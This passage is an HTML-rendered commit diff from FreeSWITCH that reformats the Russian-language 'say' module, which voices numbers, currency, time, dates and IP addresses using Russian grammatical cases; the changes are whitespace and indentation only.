</span><del>-                //миллионы                
-                if (places[8] || places[7] || places[6])        {
-                        if ((in_%1000000&gt;0)&amp;&amp;(matrix[casus][say_type].all != 1))   {// если поле миллионов  есть цифры поизнести как числительое именительного падежа
</del><ins>+                //миллионы      
+                if (places[8] || places[7] || places[6]) {
+                        if ((in_ % 1000000 &gt; 0) &amp;&amp; (matrix[casus][say_type].all != 1)) {        // если поле миллионов  есть цифры поизнести как числительое именительного падежа
</ins><span class="cx">                                 if ((status = play_group(male_c, nominativus, places[8], places[7], places[6], million, session, args)) != SWITCH_STATUS_SUCCESS) {
</span><del>-                                        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, &quot;play group %d %d %d million! status=%d\n&quot;, places[8], places[7], places[6],status);
</del><ins>+                                        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, &quot;play group %d %d %d million! status=%d\n&quot;, places[8], places[7], places[6],
+                                                                          status);
</ins><span class="cx">                                         return status;
</span><span class="cx">                                 }
</span><del>-                        } else {// иначе произнести в нужном падеже
-                                if ((status = play_group(say_type,casus, places[8], places[7], places[6],million, session, args)) != SWITCH_STATUS_SUCCESS) {
-                                        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, &quot;play group %d %d %d million! status=%d\n&quot;, places[8], places[7], places[6],status);
</del><ins>+                        } else {                        // иначе произнести в нужном падеже
+                                if ((status = play_group(say_type, casus, places[8], places[7], places[6], million, session, args)) != SWITCH_STATUS_SUCCESS) {
+                                        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, &quot;play group %d %d %d million! status=%d\n&quot;, places[8], places[7], places[6],
+                                                                          status);
</ins><span class="cx">                                         return status;
</span><span class="cx">                                 }
</span><span class="cx">                         }
</span><span class="cx">                 }
</span><del>-                //тысячи                
-                if (places[5]||places[4]||places[3])        {
-                        if ((in_%1000&gt;0)&amp;&amp;(matrix[casus][say_type].all != 1))   {// если поле миллионов  есть цифры поизнести как числительое именительного падежа
-                                if ((status = play_group(male_c, nominativus, places[5], places[4], places[3],thousand,  session, args)) != SWITCH_STATUS_SUCCESS) {
-                                        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, &quot;play group %d %d %d thousand! status=%d\n&quot;, places[5], places[4], places[3],status);
</del><ins>+                //тысячи      
+                if (places[5] || places[4] || places[3]) {
+                        if ((in_ % 1000 &gt; 0) &amp;&amp; (matrix[casus][say_type].all != 1)) {        // если поле миллионов  есть цифры поизнести как числительое именительного падежа
+                                if ((status = play_group(male_c, nominativus, places[5], places[4], places[3], thousand, session, args)) != SWITCH_STATUS_SUCCESS) {
+                                        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, &quot;play group %d %d %d thousand! status=%d\n&quot;, places[5], places[4], places[3],
+                                                                          status);
</ins><span class="cx">                                         return status;
</span><span class="cx">                                 }
</span><del>-                        } else {// иначе произнести в нужном падеже
-                                if ((status = play_group(say_type, casus, places[5], places[4], places[3], thousand,session, args)) != SWITCH_STATUS_SUCCESS) {
-                                        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, &quot;play group %d %d %d thousand! status=%d\n&quot;, places[5], places[4], places[3],status);
</del><ins>+                        } else {                        // иначе произнести в нужном падеже
+                                if ((status = play_group(say_type, casus, places[5], places[4], places[3], thousand, session, args)) != SWITCH_STATUS_SUCCESS) {
+                                        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, &quot;play group %d %d %d thousand! status=%d\n&quot;, places[5], places[4], places[3],
+                                                                          status);
</ins><span class="cx">                                         return status;
</span><span class="cx">                                 }
</span><span class="cx">                         }
</span><span class="cx">                 }
</span><span class="cx">                 // сотни
</span><span class="cx">                 if ((status = play_group(say_type, casus, places[2], places[1], places[0], empty, session, args)) != SWITCH_STATUS_SUCCESS) {
</span><del>-                        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, &quot;play group %d %d %d thousand! status=%d\n&quot;, places[5], places[4], places[3],status);
</del><ins>+                        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, &quot;play group %d %d %d thousand! status=%d\n&quot;, places[5], places[4], places[3], status);
</ins><span class="cx">                         return status;
</span><span class="cx">                 }
</span><del>-        } else { 
-                if ((status = play_group(say_type, casus, places[2], places[1], places[0], zero, session, args)) != SWITCH_STATUS_SUCCESS)  {
</del><ins>+        } else {
+                if ((status = play_group(say_type, casus, places[2], places[1], places[0], zero, session, args)) != SWITCH_STATUS_SUCCESS) {
</ins><span class="cx">                         switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, &quot;play group %d %d %d other!\n&quot;, places[2], places[1], places[0]);
</span><span class="cx">                         return status;
</span><span class="cx">                 }
</span><span class="lines">@@ -285,26 +290,26 @@
</span><span class="cx">                                                                                         char *tosay, switch_say_type_t type, switch_say_method_t method, switch_input_args_t *args)
</span><span class="cx"> {
</span><span class="cx">         switch_status_t status;
</span><del>-        casus_t casus; //падеж
-        say_type_t say_type;//тип произношения
</del><ins>+        casus_t casus;                                //падеж
+        say_type_t say_type;                //тип произношения
</ins><span class="cx"> 
</span><span class="cx">         switch (type) {
</span><del>-                case SST_MESSAGES:
-                        say_type=it_c;
-                        casus=nominativus;
-                        break;
-                default:
-                        say_type=male_c;
-                        casus=nominativus;
-                        break;                                                            
</del><ins>+        case SST_MESSAGES:
+                say_type = it_c;
+                casus = nominativus;
+                break;
+        default:
+                say_type = male_c;
+                casus = nominativus;
+                break;
</ins><span class="cx">         };
</span><del>-        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, &quot; type=%d   casus=%d\n&quot;, say_type,casus);
-        status=ru_say_count(session,tosay,say_type,casus,args);
</del><ins>+        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, &quot; type=%d   casus=%d\n&quot;, say_type, casus);
+        status = ru_say_count(session, tosay, say_type, casus, args);
</ins><span class="cx">         return status;
</span><span class="cx"> }
</span><span class="cx"> 
</span><span class="cx"> static switch_status_t ru_say_money(switch_core_session_t *session, char *tosay, switch_say_type_t type,
</span><del>-                                                                        switch_say_method_t method,switch_input_args_t *args)
</del><ins>+                                                                        switch_say_method_t method, switch_input_args_t *args)
</ins><span class="cx"> {
</span><span class="cx">         char sbuf[16] = &quot;&quot;;
</span><span class="cx">         char *rubles = NULL;
</span><span class="lines">@@ -314,7 +319,7 @@
</span><span class="cx">         int ikopecks = 0;
</span><span class="cx">         int ikopeck = 0;
</span><span class="cx"> 
</span><del>-        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, &quot; ru_say_money %s\n&quot;,tosay );
</del><ins>+        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, &quot; ru_say_money %s\n&quot;, tosay);
</ins><span class="cx"> 
</span><span class="cx">         if (strlen(tosay) &gt; 15 || !(tosay = strip_nonnumerics(tosay, sbuf, sizeof(sbuf)))) {
</span><span class="cx">                 switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, &quot;Parse Error!\n&quot;);
</span><span class="lines">@@ -338,24 +343,24 @@
</span><span class="cx">                 rubles++;
</span><span class="cx">         }
</span><span class="cx"> 
</span><del>-        ru_say_count(session,rubles ,male_c,nominativus ,args);
</del><ins>+        ru_say_count(session, rubles, male_c, nominativus, args);
</ins><span class="cx"> 
</span><span class="cx">         if (rubles) {
</span><del>-                irubles = atoi(rubles)%100;
-                iruble = atoi(rubles)%10;
</del><ins>+                irubles = atoi(rubles) % 100;
+                iruble = atoi(rubles) % 10;
</ins><span class="cx">         }
</span><span class="cx"> 
</span><del>-        if (irubles == 1 || (irubles &gt; 20 &amp;&amp; iruble == 1)) {/* рубль */
</del><ins>+        if (irubles == 1 || (irubles &gt; 20 &amp;&amp; iruble == 1)) {        /* рубль */
</ins><span class="cx">                 say_file(&quot;currency/ruble.wav&quot;);
</span><del>-        } else if ((irubles &gt; 1 &amp;&amp; irubles &lt; 5) || (irubles &gt; 20 &amp;&amp; iruble &gt; 1 &amp;&amp; iruble &lt; 5)) {  /*рубля */
</del><ins>+        } else if ((irubles &gt; 1 &amp;&amp; irubles &lt; 5) || (irubles &gt; 20 &amp;&amp; iruble &gt; 1 &amp;&amp; iruble &lt; 5)) {        /*рубля */
</ins><span class="cx">                 say_file(&quot;currency/ruble-a.wav&quot;);
</span><del>-        } else { /*рублей */
</del><ins>+        } else {                                        /*рублей */
</ins><span class="cx">                 say_file(&quot;currency/rubles.wav&quot;);
</span><span class="cx">         }
</span><span class="cx"> 
</span><span class="cx">         /* Say kopecks */
</span><del>-        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, &quot; %s\n&quot;,kopecks );
-        ru_say_count(session, kopecks ,female_c, nominativus, args);
</del><ins>+        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, &quot; %s\n&quot;, kopecks);
+        ru_say_count(session, kopecks, female_c, nominativus, args);
</ins><span class="cx"> 
</span><span class="cx">         if (kopecks) {
</span><span class="cx">                 ikopecks = atoi(kopecks) % 100;
</span><span class="lines">@@ -386,7 +391,7 @@
</span><span class="cx">         switch_channel_t *channel = switch_core_session_get_channel(session);
</span><span class="cx">         const char *tz = switch_channel_get_variable(channel, &quot;timezone&quot;);
</span><span class="cx"> 
</span><del>-        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, &quot; ru_say_time %s  type=%d method=%d\n&quot;,tosay, type,method );
</del><ins>+        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, &quot; ru_say_time %s  type=%d method=%d\n&quot;, tosay, type, method);
</ins><span class="cx"> 
</span><span class="cx">         if (type == SST_TIME_MEASUREMENT) {
</span><span class="cx">                 int64_t hours = 0;
</span><span class="lines">@@ -428,38 +433,38 @@
</span><span class="cx">                         }
</span><span class="cx">                 }
</span><span class="cx"> 
</span><del>-                switch_snprintf(buf, sizeof(buf), &quot;%u&quot;, (unsigned)hours);
-                ru_say_count(session,buf ,male_c,nominativus,args);
</del><ins>+                switch_snprintf(buf, sizeof(buf), &quot;%u&quot;, (unsigned) hours);
+                ru_say_count(session, buf, male_c, nominativus, args);
</ins><span class="cx"> 
</span><del>-                if (((hours%10) == 1) &amp;&amp; (hours!=11)) {
</del><ins>+                if (((hours % 10) == 1) &amp;&amp; (hours != 11)) {
</ins><span class="cx">                         /* час */
</span><span class="cx">                         say_file(&quot;time/hour.wav&quot;);
</span><del>-                } else if (((hours%10&gt;1)&amp;&amp;(hours%10&lt;5)) &amp;&amp;((hours&lt;12)||(hours&gt;14))) {
-                        say_file(&quot;time/hours-a.wav&quot;);  /* часа */
</del><ins>+                } else if (((hours % 10 &gt; 1) &amp;&amp; (hours % 10 &lt; 5)) &amp;&amp; ((hours &lt; 12) || (hours &gt; 14))) {
+                        say_file(&quot;time/hours-a.wav&quot;);        /* часа */
</ins><span class="cx">                 } else {
</span><del>-                        say_file(&quot;time/hours.wav&quot;); /* часов*/
</del><ins>+                        say_file(&quot;time/hours.wav&quot;);        /* часов */
</ins><span class="cx">                 }
</span><span class="cx"> 
</span><del>-                switch_snprintf(buf, sizeof(buf), &quot;%u&quot;, (unsigned)minutes); //перевести минуты в *char
-                ru_say_count(session,buf ,female_c,nominativus,args);
</del><ins>+                switch_snprintf(buf, sizeof(buf), &quot;%u&quot;, (unsigned) minutes);        //перевести минуты в *char
+                ru_say_count(session, buf, female_c, nominativus, args);
</ins><span class="cx"> 
</span><del>-                if (((minutes%10) == 1) &amp;&amp; (minutes!=11)) {
-                        say_file(&quot;time/minute.wav&quot;); //минута
-                } else if (((minutes%10&gt;1)&amp;&amp;(minutes%10&lt;5))&amp;&amp;((minutes&lt;12)||(minutes&gt;14))){
-                        say_file(&quot;time/minutes-i.wav&quot;); // минуты
</del><ins>+                if (((minutes % 10) == 1) &amp;&amp; (minutes != 11)) {
+                        say_file(&quot;time/minute.wav&quot;);        //минута
+                } else if (((minutes % 10 &gt; 1) &amp;&amp; (minutes % 10 &lt; 5)) &amp;&amp; ((minutes &lt; 12) || (minutes &gt; 14))) {
+                        say_file(&quot;time/minutes-i.wav&quot;);        // минуты
</ins><span class="cx">                 } else {
</span><del>-                        say_file(&quot;time/minutes.wav&quot;); //минут
</del><ins>+                        say_file(&quot;time/minutes.wav&quot;);        //минут
</ins><span class="cx">                 }
</span><span class="cx"> 
</span><del>-                if (seconds!=0) {
-                        switch_snprintf(buf, sizeof(buf), &quot;%u&quot;, (unsigned)seconds);
-                        ru_say_count(session,buf ,female_c,nominativus,args);
-                        if (((seconds%10) == 1) &amp;&amp; (seconds!=11)) {
-                                say_file(&quot;time/second.wav&quot;); // секунда
-                        } else if (((seconds%10&gt;1)&amp;&amp;(seconds%10&lt;5))&amp;&amp;((seconds&lt;12)||(seconds&gt;14))) {
-                                say_file(&quot;time/seconds-i.wav&quot;); // секуны
</del><ins>+                if (seconds != 0) {
+                        switch_snprintf(buf, sizeof(buf), &quot;%u&quot;, (unsigned) seconds);
+                        ru_say_count(session, buf, female_c, nominativus, args);
+                        if (((seconds % 10) == 1) &amp;&amp; (seconds != 11)) {
+                                say_file(&quot;time/second.wav&quot;);        // секунда
+                        } else if (((seconds % 10 &gt; 1) &amp;&amp; (seconds % 10 &lt; 5)) &amp;&amp; ((seconds &lt; 12) || (seconds &gt; 14))) {
+                                say_file(&quot;time/seconds-i.wav&quot;);        // секуны
</ins><span class="cx">                         } else {
</span><del>-                                say_file(&quot;time/seconds.wav&quot;); //секунд
</del><ins>+                                say_file(&quot;time/seconds.wav&quot;);        //секунд
</ins><span class="cx">                         }
</span><span class="cx">                 }
</span><span class="cx">                 return SWITCH_STATUS_SUCCESS;
</span><span class="lines">@@ -488,43 +493,43 @@
</span><span class="cx">         }
</span><span class="cx"> 
</span><span class="cx">         switch (type) {
</span><del>-                case SST_CURRENT_DATE_TIME:
-                        say_date = say_time = 1;
-                        break;
-                case SST_CURRENT_DATE:
</del><ins>+        case SST_CURRENT_DATE_TIME:
+                say_date = say_time = 1;
+                break;
+        case SST_CURRENT_DATE:
+                say_date = 1;
+                break;
+        case SST_CURRENT_TIME:
+                say_time = 1;
+                break;
+        case SST_SHORT_DATE_TIME:
+                say_time = 1;
+                if (tm.tm_year != tm_now.tm_year) {
</ins><span class="cx">                         say_date = 1;
</span><span class="cx">                         break;
</span><del>-                case SST_CURRENT_TIME:
-                        say_time = 1;
</del><ins>+                }
+                if (tm.tm_yday == tm_now.tm_yday) {
+                        say_today = 1;
</ins><span class="cx">                         break;
</span><del>-                case SST_SHORT_DATE_TIME:
-                        say_time = 1;
-                        if (tm.tm_year != tm_now.tm_year) {
-                                say_date = 1;
-                                break;
-                        }
-                        if (tm.tm_yday == tm_now.tm_yday) {
-                                say_today = 1;
-                                break;
-                        }
-                        if (tm.tm_yday == tm_now.tm_yday - 1) {
-                                say_yesterday = 1;
-                                break;
-                        }
-                        if (tm.tm_yday &gt;= tm_now.tm_yday - 5) {
-                                say_dow = 1;
-                                break;
-                        }
-                        if (tm.tm_mon != tm_now.tm_mon) {
-                                say_month = say_day = say_dow = 1;
-                                break;
-                        }
-
</del><ins>+                }
+                if (tm.tm_yday == tm_now.tm_yday - 1) {
+                        say_yesterday = 1;
+                        break;
+                }
+                if (tm.tm_yday &gt;= tm_now.tm_yday - 5) {
+                        say_dow = 1;
+                        break;
+                }
+                if (tm.tm_mon != tm_now.tm_mon) {
</ins><span class="cx">                         say_month = say_day = say_dow = 1;
</span><ins>+                        break;
+                }
</ins><span class="cx"> 
</span><del>-                        break;
-                default:
-                        break;
</del><ins>+                say_month = say_day = say_dow = 1;
+
+                break;
+        default:
+                break;
</ins><span class="cx">         }
</span><span class="cx"> 
</span><span class="cx">         if (say_today) {
</span><span class="lines">@@ -541,30 +546,28 @@
</span><span class="cx">                 say_today = say_yesterday = 0;
</span><span class="cx">         }
</span><span class="cx">         if (say_day) {
</span><del>-                switch_snprintf(buf, sizeof(buf), &quot;%u&quot;, (unsigned)tm.tm_mday);
-                ru_say_count(session,buf ,male_h,genitivus,args);
</del><ins>+                switch_snprintf(buf, sizeof(buf), &quot;%u&quot;, (unsigned) tm.tm_mday);
+                ru_say_count(session, buf, male_h, genitivus, args);
</ins><span class="cx">         }
</span><span class="cx">         if (say_month) {
</span><span class="cx">                 say_file(&quot;time/mon-%d.wav&quot;, tm.tm_mon);
</span><span class="cx">         }
</span><span class="cx">         if (say_year) {
</span><del>-                switch_snprintf(buf, sizeof(buf), &quot;%u&quot;, (unsigned)(tm.tm_year + 1900));
-                ru_say_count(session,buf ,male_h,genitivus,args);
</del><ins>+                switch_snprintf(buf, sizeof(buf), &quot;%u&quot;, (unsigned) (tm.tm_year + 1900));
+                ru_say_count(session, buf, male_h, genitivus, args);
</ins><span class="cx">                 say_file(&quot;time/h-year.wav&quot;);
</span><span class="cx">         }
</span><del>-        if (say_month||say_year||say_date||say_dow)
-        {
</del><ins>+        if (say_month || say_year || say_date || say_dow) {
</ins><span class="cx">                 say_file(&quot;time/at.wav&quot;);
</span><span class="cx">         }
</span><span class="cx">         if (say_time) {
</span><del>-                switch_snprintf(buf, sizeof(buf), &quot;%d:%d:%d&quot;,tm.tm_hour+1,tm.tm_min,tm.tm_sec);
</del><ins>+                switch_snprintf(buf, sizeof(buf), &quot;%d:%d:%d&quot;, tm.tm_hour + 1, tm.tm_min, tm.tm_sec);
</ins><span class="cx">                 ru_say_time(session, buf, SST_TIME_MEASUREMENT, method, args);
</span><span class="cx">         }
</span><span class="cx">         return SWITCH_STATUS_SUCCESS;
</span><span class="cx"> }
</span><span class="cx"> 
</span><del>-static switch_status_t ru_ip(switch_core_session_t *session, char *tosay, switch_say_type_t type, switch_say_method_t method,
-                                                         switch_input_args_t *args)
</del><ins>+static switch_status_t ru_ip(switch_core_session_t *session, char *tosay, switch_say_type_t type, switch_say_method_t method, switch_input_args_t *args)
</ins><span class="cx"> {
</span><span class="cx">         char *a, *b, *c, *d;
</span><span class="cx">         if (!(a = switch_core_session_strdup(session, tosay))) {
</span><span class="lines">@@ -589,16 +592,16 @@
</span><span class="cx"> 
</span><span class="cx">         *d++ = '\0';
</span><span class="cx"> 
</span><del>-        ru_say_count(session,a ,male_c,nominativus,args);
</del><ins>+        ru_say_count(session, a, male_c, nominativus, args);
</ins><span class="cx">         say_file(&quot;digits/dot.wav&quot;);
</span><span class="cx"> 
</span><del>-        ru_say_count(session,b ,male_c,nominativus,args);
</del><ins>+        ru_say_count(session, b, male_c, nominativus, args);
</ins><span class="cx">         say_file(&quot;digits/dot.wav&quot;);
</span><span class="cx"> 
</span><del>-        ru_say_count(session,c ,male_c,nominativus,args);
</del><ins>+        ru_say_count(session, c, male_c, nominativus, args);
</ins><span class="cx">         say_file(&quot;digits/dot.wav&quot;);
</span><span class="cx"> 
</span><del>-        ru_say_count(session,d ,male_c,nominativus,args);
</del><ins>+        ru_say_count(session, d, male_c, nominativus, args);
</ins><span class="cx">         return SWITCH_STATUS_SUCCESS;
</span><span class="cx"> }
</span><span class="cx"> 
</span><span class="lines">@@ -607,40 +610,40 @@
</span><span class="cx">         switch_say_callback_t say_cb = NULL;
</span><span class="cx"> 
</span><span class="cx">         switch (type) {
</span><del>-                        case SST_NUMBER:
-                        case SST_ITEMS:
-                        case SST_PERSONS:
-                        case SST_MESSAGES:
-                                say_cb = ru_say_general_count;
-                                break;
-                        case SST_TIME_MEASUREMENT:
-                                say_cb = ru_say_time;
-                                break;
</del><ins>+        case SST_NUMBER:
+        case SST_ITEMS:
+        case SST_PERSONS:
+        case SST_MESSAGES:
+                say_cb = ru_say_general_count;
+                break;
+        case SST_TIME_MEASUREMENT:
+                say_cb = ru_say_time;
+                break;
</ins><span class="cx"> 
</span><del>-                        case SST_CURRENT_DATE:
-                                say_cb = ru_say_time;
-                                break;
</del><ins>+        case SST_CURRENT_DATE:
+                say_cb = ru_say_time;
+                break;
</ins><span class="cx"> 
</span><del>-                        case SST_CURRENT_TIME:
-                                say_cb = ru_say_time;
-                                break;
</del><ins>+        case SST_CURRENT_TIME:
+                say_cb = ru_say_time;
+                break;
</ins><span class="cx"> 
</span><del>-                        case SST_CURRENT_DATE_TIME:
-                                say_cb = ru_say_time;
-                                break;
-                        case SST_IP_ADDRESS:
-                                say_cb = ru_ip;
-                                break;
-                        case SST_NAME_SPELLED:
-                        case SST_NAME_PHONETIC:
-                                say_cb = ru_spell;
-                                break;
-                        case SST_CURRENCY:
-                                say_cb = ru_say_money;
-                                break;
-                        default:
-                                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, &quot;Unknown Say type=[%d]\n&quot;, type);
-                                break;
</del><ins>+        case SST_CURRENT_DATE_TIME:
+                say_cb = ru_say_time;
+                break;
+        case SST_IP_ADDRESS:
+                say_cb = ru_ip;
+                break;
+        case SST_NAME_SPELLED:
+        case SST_NAME_PHONETIC:
+                say_cb = ru_spell;
+                break;
+        case SST_CURRENCY:
+                say_cb = ru_say_money;
+                break;
+        default:
+                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, &quot;Unknown Say type=[%d]\n&quot;, type);
+                break;
</ins><span class="cx">         }
</span><span class="cx"> 
</span><span class="cx">         if (say_cb) {
</span></span></pre></div>
<a id="freeswitchtrunksrcmodsaymod_say_rumod_say_ruh"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/mod/say/mod_say_ru/mod_say_ru.h (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/mod/say/mod_say_ru/mod_say_ru.h        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/say/mod_say_ru/mod_say_ru.h        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -5,52 +5,52 @@
</span><span class="cx">  * mod_say_ru.c -- Say for Russian
</span><span class="cx">  *
</span><span class="cx">  */
</span><del>-         
</del><span class="cx"> 
</span><ins>+
</ins><span class="cx"> //слишком много падежей поэтому пришлось сделать массив значений
</span><span class="cx"> //пример таблицы склонений для 1 ниже по ссылкам
</span><span class="cx"> //http://ru.wiktionary.org/wiki/%D0%BE%D0%B4%D0%B8%D0%BD
</span><span class="cx"> //http://ru.wiktionary.org/wiki/%D0%BF%D0%B5%D1%80%D0%B2%D1%8B%D0%B9
</span><span class="cx"> 
</span><span class="cx"> typedef enum {
</span><del>-    million,
-    thousand,
-    zero,
-    empty       
</del><ins>+        million,
+        thousand,
+        zero,
+        empty
</ins><span class="cx"> } unit_t;
</span><span class="cx"> 
</span><span class="cx"> //тип числа порядковое или количественное
</span><del>-typedef enum{
-    nominativus,        // именительный Кто? Что?
-    genitivus,          // Родительный  Кого? Чего?
-    dativus,            // дательный    Кого? Что?
-    accusativus_a,      // Винительный  Кого? animate - одушевлённый
-    accusativus_i,      // Винительный  Что?  inanimate - неодушевлённый
-    instrumentalis,     // Творительный Кем? Чем?
-    prepositive         // Предложный   О ком? О чём?
</del><ins>+typedef enum {
+        nominativus,                                // именительный Кто? Что?
+        genitivus,                                        // Родительный  Кого? Чего?
+        dativus,                                        // дательный    Кого? Что?
+        accusativus_a,                                // Винительный  Кого? animate - одушевлённый
+        accusativus_i,                                // Винительный  Что?  inanimate - неодушевлённый
+        instrumentalis,                                // Творительный Кем? Чем?
+        prepositive                                        // Предложный   О ком? О чём?
</ins><span class="cx"> } casus_t;
</span><del>-                            
</del><span class="cx"> 
</span><ins>+
</ins><span class="cx"> typedef enum {
</span><del>-   //количественный
-    male_c,       //мужского пола
-    it_c,         //среднего
-    female_c,     //женского
-    plural_c,     //множественное число
-    //порядковый
-    male_h,       //порядковое мужского пола
-    it_h,         //порядковое среднего
-    female_h,     //порядковое женского
-    plural_h      //порядковое множественное число
</del><ins>+        //количественный
+        male_c,                                                //мужского пола
+        it_c,                                                //среднего
+        female_c,                                        //женского
+        plural_c,                                        //множественное число
+        //порядковый
+        male_h,                                                //порядковое мужского пола
+        it_h,                                                //порядковое среднего
+        female_h,                                        //порядковое женского
+        plural_h                                        //порядковое множественное число
</ins><span class="cx"> } say_type_t;
</span><del>-                    
</del><span class="cx"> 
</span><span class="cx"> 
</span><del>-struct say_t{
-    char *num[8];
-    char *thousand[14];
-    char *million[14];
-    int all;
</del><ins>+
+struct say_t {
+        char *num[8];
+        char *thousand[14];
+        char *million[14];
+        int all;
</ins><span class="cx"> };
</span><span class="cx"> 
</span><span class="cx"> 
</span><span class="lines">@@ -69,7 +69,7 @@
</span><span class="cx">         {&quot;&quot;,&quot;&quot;,&quot;1&quot;,&quot;million&quot;,&quot;2&quot;,&quot;million-a&quot;,&quot;3&quot;,&quot;million-a&quot;,&quot;4&quot;,&quot;million-a&quot;,&quot;5&quot;,&quot;millions&quot;,&quot;&quot;,&quot;&quot;},\
</span><span class="cx">         0,\
</span><span class="cx"> }\
</span><del>-//средний род именительный падеж
</del><ins>+                                                                //средний род именительный падеж
</ins><span class="cx"> #define m_01 {\
</span><span class="cx">         {&quot;0&quot;,&quot;1n&quot;,&quot;2&quot;,&quot;3&quot;,&quot;4&quot;,&quot;5&quot;,&quot;&quot;,&quot;&quot;},\
</span><span class="cx">         {&quot;&quot;,&quot;&quot;,&quot;1f&quot;,&quot;thousand&quot;,&quot;2f&quot;,&quot;thousands-i&quot;,&quot;3&quot;,&quot;thousands-i&quot;,&quot;4&quot;,&quot;thousands-i&quot;,&quot;5&quot;,&quot;thousands&quot;,&quot;&quot;,&quot;&quot;},\
</span><span class="lines">@@ -101,14 +101,14 @@
</span><span class="cx">         {&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;},\
</span><span class="cx">         0,\
</span><span class="cx"> }\
</span><del>-//средний
</del><ins>+                                                                //средний
</ins><span class="cx"> #define m_05 {\
</span><span class="cx">         {&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;},\
</span><span class="cx">         {&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;},\
</span><span class="cx">         {&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;},\
</span><span class="cx">         0,\
</span><span class="cx"> }\
</span><del>-//женский
</del><ins>+                                                                //женский
</ins><span class="cx"> #define m_06 {\
</span><span class="cx">         {&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;},\
</span><span class="cx">         {&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;},\
</span><span class="lines">@@ -135,7 +135,7 @@
</span><span class="cx">         {&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;},\
</span><span class="cx">         0,\
</span><span class="cx"> }\
</span><del>-//средний
</del><ins>+                                                                //средний
</ins><span class="cx"> #define m_11 {\
</span><span class="cx">         {&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;},\
</span><span class="cx">         {&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;},\
</span><span class="lines">@@ -168,14 +168,14 @@
</span><span class="cx">         {&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;h-millionx&quot;,&quot;h-2xx&quot;,&quot;h-millionx&quot;,&quot;h-3xx&quot;,&quot;h-millionx&quot;,&quot;h-4xx&quot;,&quot;h-millionx&quot;,&quot;h-5xx&quot;,&quot;h-millionx&quot;,&quot;h-&quot;,&quot;xx&quot;},\
</span><span class="cx">         0,\
</span><span class="cx"> }\
</span><del>-//средний
</del><ins>+                                                                //средний
</ins><span class="cx"> #define m_15 {\
</span><span class="cx">         {&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;},\
</span><span class="cx">         {&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;},\
</span><span class="cx">         {&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;},\
</span><span class="cx">         0,\
</span><span class="cx"> }\
</span><del>-//женский
</del><ins>+                                                                //женский
</ins><span class="cx"> #define m_16 {\
